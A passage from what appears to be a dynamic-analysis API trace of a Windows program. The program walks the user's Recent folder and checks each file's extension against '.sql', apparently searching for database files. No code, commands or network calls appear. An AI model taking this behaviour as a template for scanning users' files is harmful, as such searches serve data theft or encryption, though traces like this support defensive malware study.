(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned 73 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="5NChLZgIqlXt.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="5NChLZgIqlXt.lnk", lpString2="..") returned 1 [0054.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5NChLZgIqlXt.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk" [0054.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned 79 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="68I4YY.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="68I4YY.lnk", lpString2="..") returned 1 [0054.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="68I4YY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk" [0054.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned 73 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="6ttfnwVzD3wR1.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="6ttfnwVzD3wR1.lnk", lpString2="..") returned 1 [0054.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6ttfnwVzD3wR1.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk" [0054.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned 80 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="6z- of0Ate9fxiX14.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="6z- of0Ate9fxiX14.lnk", lpString2="..") returned 1 [0054.787] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6z- of0Ate9fxiX14.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk" [0054.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned 84 [0054.787] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.787] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.787] lstrcmpW (lpString1="7OmvA6Oj54HnGnXR.lnk", lpString2=".") returned 1 [0054.787] lstrcmpW (lpString1="7OmvA6Oj54HnGnXR.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="7OmvA6Oj54HnGnXR.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned 83 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="8BQk0ewUYfCpH5.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="8BQk0ewUYfCpH5.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8BQk0ewUYfCpH5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned 81 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="8Frf.flv.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="8Frf.flv.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8Frf.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned 75 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="8UW6wrCE2.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="8UW6wrCE2.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8UW6wrCE2.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned 76 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="aFOzj3YZTHvF.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="aFOzj3YZTHvF.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aFOzj3YZTHvF.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned 79 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="ArQS.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="ArQS.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ArQS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned 71 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="AThZQX4 Xqy.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="AThZQX4 Xqy.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="AThZQX4 Xqy.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned 79 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="AutomaticDestinations", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="AutomaticDestinations", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 84 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="aWlcbVjj2 N5W7gRzUu.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="aWlcbVjj2 N5W7gRzUu.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aWlcbVjj2 N5W7gRzUu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned 86 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.788] lstrcmpW (lpString1="bemI0XiX.lnk", lpString2=".") returned 1 [0054.788] lstrcmpW (lpString1="bemI0XiX.lnk", lpString2="..") returned 1 [0054.788] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="bemI0XiX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk" [0054.788] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned 75 [0054.788] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.788] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="brfsFSSqM P0x3ZmWLa7.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="brfsFSSqM P0x3ZmWLa7.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="brfsFSSqM P0x3ZmWLa7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned 87 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="CH63OfWwkwX.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="CH63OfWwkwX.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CH63OfWwkwX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned 78 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="CHQmRNcGe_.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="CHQmRNcGe_.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CHQmRNcGe_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned 77 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="CustomDestinations", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="CustomDestinations", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 81 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="CztjLRmT.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="CztjLRmT.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CztjLRmT.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned 75 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0054.789] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="dWY3im-Jv_.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="dWY3im-Jv_.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="dWY3im-Jv_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned 77 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="E3nwHKKhrNc.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="E3nwHKKhrNc.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="E3nwHKKhrNc.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned 78 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="e8jkSa.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="e8jkSa.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="e8jkSa.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned 73 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.789] lstrcmpW (lpString1="ea9JJ.lnk", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="ea9JJ.lnk", lpString2="..") returned 1 [0054.789] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ea9JJ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk" [0054.789] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned 72 [0054.789] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.789] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="ExocxBlrLmuRHv.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="ExocxBlrLmuRHv.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ExocxBlrLmuRHv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned 81 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="FaqWpPUQVtLKuYdk9BQ4.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="FaqWpPUQVtLKuYdk9BQ4.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FaqWpPUQVtLKuYdk9BQ4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned 87 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="FfJVg4ausPebvr1q.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="FfJVg4ausPebvr1q.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FfJVg4ausPebvr1q.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned 83 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="fh_ElomWjB6mGEzzsu.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="fh_ElomWjB6mGEzzsu.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fh_ElomWjB6mGEzzsu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned 85 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="fNbs43ibSVs.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="fNbs43ibSVs.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fNbs43ibSVs.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") 